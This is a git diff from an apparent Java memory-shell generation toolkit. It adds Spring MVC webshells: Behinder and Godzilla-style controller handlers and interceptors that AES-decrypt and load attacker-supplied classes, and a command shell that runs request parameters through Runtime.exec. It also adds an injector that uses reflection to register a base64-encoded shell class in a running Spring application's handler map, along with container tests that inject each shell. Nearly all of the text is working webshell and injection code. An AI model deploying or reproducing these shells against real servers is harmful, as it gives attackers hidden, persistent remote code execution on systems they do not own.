arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Behinder, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Godzilla, Packer.INSTANCE.Base64),
|
||||||
|
arguments(imageName, SpringMVCShell.JAKARTA_CONTROLLER_HANDLER, ShellTool.Command, Packer.INSTANCE.Base64)
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
@AfterAll
|
||||||
|
static void tearDown() {
|
||||||
|
String logs = container.getLogs();
|
||||||
|
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
|
||||||
|
}
|
||||||
|
|
||||||
|
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
|
||||||
|
@MethodSource("casesProvider")
|
||||||
|
void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) {
|
||||||
|
testShellInjectAssertOk(getUrl(container), Server.SpringMVC, shellType, shellTool, Opcodes.V17, packer);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static String getUrl(GenericContainer<?> container) {
|
||||||
|
String host = container.getHost();
|
||||||
|
int port = container.getMappedPort(8080);
|
||||||
|
String url = "http://" + host + ":" + port;
|
||||||
|
log.info("container started, app url is : {}", url);
|
||||||
|
return url;
|
||||||
|
}
|
||||||
|
}
|
||||||
+1
-5
@@ -44,11 +44,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
|
|||||||
obj.put("request", servletRequest);
|
obj.put("request", servletRequest);
|
||||||
obj.put("response", response);
|
obj.put("response", response);
|
||||||
obj.put("session", session);
|
obj.put("session", session);
|
||||||
try {
|
session.setAttribute("u", this.pass);
|
||||||
session.putValue("u", this.pass);
|
|
||||||
} catch (NoSuchMethodError e) {
|
|
||||||
session.setAttribute("u", this.pass);
|
|
||||||
}
|
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
|
byte[] bytes = c.doFinal(base64Decode(servletRequest.getReader().readLine()));
|
||||||
|
|||||||
+1
-5
@@ -32,11 +32,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
|
|||||||
obj.put("request", request);
|
obj.put("request", request);
|
||||||
obj.put("response", response);
|
obj.put("response", response);
|
||||||
obj.put("session", session);
|
obj.put("session", session);
|
||||||
try {
|
session.setAttribute("u", this.pass);
|
||||||
session.putValue("u", this.pass);
|
|
||||||
} catch (NoSuchMethodError e) {
|
|
||||||
session.setAttribute("u", this.pass);
|
|
||||||
}
|
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
|
byte[] bytes = c.doFinal(base64Decode(req.getReader().readLine()));
|
||||||
|
|||||||
+1
-5
@@ -84,11 +84,7 @@ public class BehinderValve extends ClassLoader implements Valve {
|
|||||||
obj.put("request", request);
|
obj.put("request", request);
|
||||||
obj.put("response", response);
|
obj.put("response", response);
|
||||||
obj.put("session", session);
|
obj.put("session", session);
|
||||||
try {
|
session.setAttribute("u", this.pass);
|
||||||
session.putValue("u", this.pass);
|
|
||||||
} catch (NoSuchMethodError e) {
|
|
||||||
session.setAttribute("u", this.pass);
|
|
||||||
}
|
|
||||||
Cipher c = Cipher.getInstance("AES");
|
Cipher c = Cipher.getInstance("AES");
|
||||||
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||||
|
|||||||
+75
@@ -0,0 +1,75 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class BehinderControllerHandler extends ClassLoader implements Controller {
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderControllerHandler(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderControllerHandler() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
try {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
|
obj.put("request", request);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
session.setAttribute("u", this.pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
|
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||||
|
Object instance = (new BehinderControllerHandler(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||||
|
instance.equals(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
+76
@@ -0,0 +1,76 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.behinder;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.util.HashMap;
|
||||||
|
import java.util.Map;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> g(byte[] b) {
|
||||||
|
return super.defineClass(b, 0, b.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public BehinderInterceptor(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
public BehinderInterceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
try {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
Map<String, Object> obj = new HashMap<String, Object>(3);
|
||||||
|
obj.put("request", request);
|
||||||
|
obj.put("response", response);
|
||||||
|
obj.put("session", session);
|
||||||
|
session.setAttribute("u", this.pass);
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(2, new SecretKeySpec(this.pass.getBytes(), "AES"));
|
||||||
|
byte[] bytes = c.doFinal(base64Decode(request.getReader().readLine()));
|
||||||
|
Object instance = (new BehinderInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance();
|
||||||
|
instance.equals(obj);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
} else {
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
}
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.command;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class CommandControllerHandler implements Controller {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
|
||||||
|
public CommandControllerHandler() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||||
|
try {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
+40
@@ -0,0 +1,40 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.command;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.servlet.ServletOutputStream;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import java.io.InputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class CommandInterceptor implements AsyncHandlerInterceptor {
|
||||||
|
public String paramName = "{{paramName}}";
|
||||||
|
|
||||||
|
|
||||||
|
public CommandInterceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
try {
|
||||||
|
String cmd = request.getParameter(paramName);
|
||||||
|
if (cmd != null) {
|
||||||
|
Process exec = Runtime.getRuntime().exec(cmd);
|
||||||
|
InputStream inputStream = exec.getInputStream();
|
||||||
|
ServletOutputStream outputStream = response.getOutputStream();
|
||||||
|
byte[] buf = new byte[8192];
|
||||||
|
int length;
|
||||||
|
while ((length = inputStream.read(buf)) != -1) {
|
||||||
|
outputStream.write(buf, 0, length);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
}
|
||||||
+112
@@ -0,0 +1,112 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.ModelAndView;
|
||||||
|
import org.springframework.web.servlet.mvc.Controller;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class GodzillaControllerHandler extends ClassLoader implements Controller {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
public GodzillaControllerHandler() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaControllerHandler(ClassLoader parent) {
|
||||||
|
super(parent);
|
||||||
|
}
|
||||||
|
|
||||||
|
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaControllerHandler(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+115
@@ -0,0 +1,115 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.godzilla;
|
||||||
|
|
||||||
|
import org.springframework.web.servlet.AsyncHandlerInterceptor;
|
||||||
|
|
||||||
|
import javax.crypto.Cipher;
|
||||||
|
import javax.crypto.spec.SecretKeySpec;
|
||||||
|
import javax.servlet.http.HttpServletRequest;
|
||||||
|
import javax.servlet.http.HttpServletResponse;
|
||||||
|
import javax.servlet.http.HttpSession;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor {
|
||||||
|
public String key = "{{key}}";
|
||||||
|
public String pass = "{{pass}}";
|
||||||
|
public String md5 = "{{md5}}";
|
||||||
|
public String headerName = "{{headerName}}";
|
||||||
|
public String headerValue = "{{headerValue}}";
|
||||||
|
|
||||||
|
public GodzillaInterceptor(ClassLoader c) {
|
||||||
|
super(c);
|
||||||
|
}
|
||||||
|
|
||||||
|
public GodzillaInterceptor() {
|
||||||
|
}
|
||||||
|
|
||||||
|
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
|
||||||
|
try {
|
||||||
|
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
|
||||||
|
HttpSession session = request.getSession();
|
||||||
|
byte[] data = base64Decode(request.getParameter(pass));
|
||||||
|
data = this.x(data, false);
|
||||||
|
if (session.getAttribute("payload") == null) {
|
||||||
|
session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data));
|
||||||
|
} else {
|
||||||
|
request.setAttribute("parameters", data);
|
||||||
|
ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
|
||||||
|
Object f;
|
||||||
|
try {
|
||||||
|
f = ((Class<?>) session.getAttribute("payload")).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
throw new RuntimeException(e);
|
||||||
|
}
|
||||||
|
f.equals(arrOut);
|
||||||
|
f.equals(request);
|
||||||
|
response.getWriter().write(md5.substring(0, 16));
|
||||||
|
f.toString();
|
||||||
|
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true)));
|
||||||
|
response.getWriter().write(md5.substring(16));
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
return true;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static String base64Encode(byte[] bs) throws Exception {
|
||||||
|
String value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object encoder = base64.getMethod("getEncoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (String) encoder.getClass().getMethod("encodeToString", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Encoder");
|
||||||
|
Object encoder = base64.newInstance();
|
||||||
|
value = (String) encoder.getClass().getMethod("encode", byte[].class).invoke(encoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static byte[] base64Decode(String bs) {
|
||||||
|
byte[] value = null;
|
||||||
|
Class<?> base64;
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("java.util.Base64");
|
||||||
|
Object decoder = base64.getMethod("getDecoder", (Class<?>[]) null).invoke(base64, (Object[]) null);
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception var6) {
|
||||||
|
try {
|
||||||
|
base64 = Class.forName("sun.misc.BASE64Decoder");
|
||||||
|
Object decoder = base64.newInstance();
|
||||||
|
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs);
|
||||||
|
} catch (Exception ignored) {
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return value;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public Class<?> Q(byte[] cb) {
|
||||||
|
return super.defineClass(cb, 0, cb.length);
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] x(byte[] s, boolean m) {
|
||||||
|
try {
|
||||||
|
|
||||||
|
Cipher c = Cipher.getInstance("AES");
|
||||||
|
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
|
||||||
|
return c.doFinal(s);
|
||||||
|
} catch (Exception var4) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+204
@@ -0,0 +1,204 @@
|
|||||||
|
package com.reajason.javaweb.memshell.springmvc.injector;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.lang.reflect.Field;
|
||||||
|
import java.lang.reflect.InvocationTargetException;
|
||||||
|
import java.lang.reflect.Method;
|
||||||
|
import java.util.Map;
|
||||||
|
import java.util.Set;
|
||||||
|
import java.util.zip.GZIPInputStream;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @author ReaJason
|
||||||
|
* @since 2024/12/22
|
||||||
|
*/
|
||||||
|
public class SpringControllerHandlerInterceptor {
|
||||||
|
|
||||||
|
static {
|
||||||
|
new SpringControllerHandlerInterceptor();
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getUrlPattern() {
|
||||||
|
return "{{urlPattern}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getClassName() {
|
||||||
|
return "{{className}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getBase64String() throws IOException {
|
||||||
|
return "{{base64Str}}";
|
||||||
|
}
|
||||||
|
|
||||||
|
public SpringControllerHandlerInterceptor() {
|
||||||
|
try {
|
||||||
|
Object context = getContext();
|
||||||
|
Object interceptor = getShell();
|
||||||
|
inject(context, interceptor);
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
public Class<?> getServletContextClass(ClassLoader classLoader) throws ClassNotFoundException {
|
||||||
|
try {
|
||||||
|
return classLoader.loadClass("javax.servlet.ServletContext");
|
||||||
|
} catch (Throwable e) {
|
||||||
|
return classLoader.loadClass("jakarta.servlet.ServletContext");
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public Object getContext() throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object context = null;
|
||||||
|
try {
|
||||||
|
Object requestAttributes = invokeMethod(classLoader.loadClass("org.springframework.web.context.request.RequestContextHolder"), "getRequestAttributes");
|
||||||
|
Object request = invokeMethod(requestAttributes, "getRequest");
|
||||||
|
Object session = invokeMethod(request, "getSession");
|
||||||
|
Object servletContext = invokeMethod(session, "getServletContext");
|
||||||
|
context = invokeMethod(classLoader.loadClass("org.springframework.web.context.support.WebApplicationContextUtils"), "getWebApplicationContext", new Class[]{getServletContextClass(classLoader)}, new Object[]{servletContext});
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
if (context == null) {
|
||||||
|
try {
|
||||||
|
Set<Object> applicationContexts = (Set<Object>) getFieldValue(classLoader.loadClass("org.springframework.context.support.LiveBeansView").newInstance(), "applicationContexts");
|
||||||
|
Object applicationContext = applicationContexts.iterator().next();
|
||||||
|
if (classLoader.loadClass("org.springframework.web.context.WebApplicationContext").isAssignableFrom(applicationContext.getClass())) {
|
||||||
|
context = applicationContext;
|
||||||
|
}
|
||||||
|
} catch (Exception e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return context;
|
||||||
|
}
|
||||||
|
|
||||||
|
private Object getShell() throws Exception {
|
||||||
|
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||||
|
Object interceptor = null;
|
||||||
|
try {
|
||||||
|
interceptor = classLoader.loadClass(getClassName()).newInstance();
|
||||||
|
} catch (Exception e) {
|
||||||
|
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
|
||||||
|
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
|
||||||
|
defineClass.setAccessible(true);
|
||||||
|
Class<?> clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
|
||||||
|
interceptor = clazz.newInstance();
|
||||||
|
}
|
||||||
|
return interceptor;
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("unchecked")
|
||||||
|
public void inject(Object context, Object controller) throws Exception {
|
||||||
|
Class<?> beanNameUrlHandlerMappingClass = null;
|
||||||
|
try {
|
||||||
|
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping");
|
||||||
|
} catch (ClassNotFoundException e) {
|
||||||
|
beanNameUrlHandlerMappingClass = Class.forName("org.springframework.web.servlet.handler.SimpleUrlHandlerMapping", false, context.getClass().getClassLoader());
|
||||||
|
}
|
||||||
|
Object beanNameUrlHandlerMapping = invokeMethod(context, "getBean", new Class[]{Class.class}, new Object[]{beanNameUrlHandlerMappingClass});
|
||||||
|
Map<String, Object> handlerMap = (Map<String, Object>) getFieldValue(beanNameUrlHandlerMapping, "handlerMap");
|
||||||
|
if (handlerMap.get(getUrlPattern()) != null) {
|
||||||
|
System.out.println("controller already injected");
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
handlerMap.put(getUrlPattern(), controller);
|
||||||
|
System.out.println("controller injected successfully");
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName) throws
|
||||||
|
Exception {
|
||||||
|
return invokeMethod(obj, methodName, new Class[0], new Object[0]);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws
|
||||||
|
Exception {
|
||||||
|
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
|
||||||
|
Method method = null;
|
||||||
|
while (clazz != null && method == null) {
|
||||||
|
try {
|
||||||
|
if (paramClazz == null) {
|
||||||
|
method = clazz.getDeclaredMethod(methodName);
|
||||||
|
} else {
|
||||||
|
method = clazz.getDeclaredMethod(methodName, paramClazz);
|
||||||
|
}
|
||||||
|
} catch (NoSuchMethodException e) {
|
||||||
|
clazz = clazz.getSuperclass();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (method == null) {
|
||||||
|
throw new NoSuchMethodException("Method not found: " + methodName);
|
||||||
|
}
|
||||||
|
method.setAccessible(true);
|
||||||
|
return method.invoke(obj instanceof Class ? null : obj, param);
|
||||||
|
}
|
||||||
|
|
||||||
|
@SuppressWarnings("all")
|
||||||
|
